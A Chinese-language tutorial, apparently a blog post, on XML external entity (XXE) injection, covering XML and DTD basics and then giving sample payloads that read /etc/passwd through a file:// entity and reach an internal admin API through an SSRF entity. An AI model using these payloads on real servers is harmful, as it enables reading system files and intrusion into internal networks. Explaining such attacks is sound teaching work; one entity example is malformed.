1. 什么是 XXE(XML External Entity)?
XXE 全称:XML 外部实体注入(XML External Entity Injection)
是指攻击者向 XML 文档中注入恶意的“实体”,利用 XML 解析器的 外部实体(External Entity) 功能,达到读取敏感文件、发起网络请求甚至 DoS 攻击的目的。
1.1. XML的定义
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观
1.2. XML的作用
XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。
1.3. xml格式说明
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
(1)内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
(2)引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
(3)DTD的实体
DTD的作用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
我们可以在内部确定其值(内部子集):
<!ENTITY AppSec "Appsec "Appsec-Labs">
或从外部来源(外部子集):
<!ENTITY AppSec SYSTEM "http://example.com/111.html
2. XXE 的利用原理
在标准 XML 中,可以使用 <!DOCTYPE> 来定义实体(Entity),包括:
- 内部实体(Internal Entity)
- 外部实体(External Entity)就是攻击的核心
比如,下面是一个合法的 XML 实体定义:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
如果服务器使用一个 支持外部实体解析的 XML 解析器(如 libxml、Java XML parser),就会把 &xxe; 替换成 /etc/passwd 的内容!
3. 常见攻击类型(实战演示)
3.1. 读取本地文件(file协议)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
效果: 把 /etc/passwd 的内容插入 <name> 标签中
3.2. 发起 SSRF 请求(http协议)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-api.local/admin">
]>
<req>
<data>&xxe;</data>
</req>
效果: XXE 被当作客户端发送请求,读取内部API内容 → 实现 SSRF(服务器端请求伪造)
1346

被折叠的 条评论
为什么被折叠?



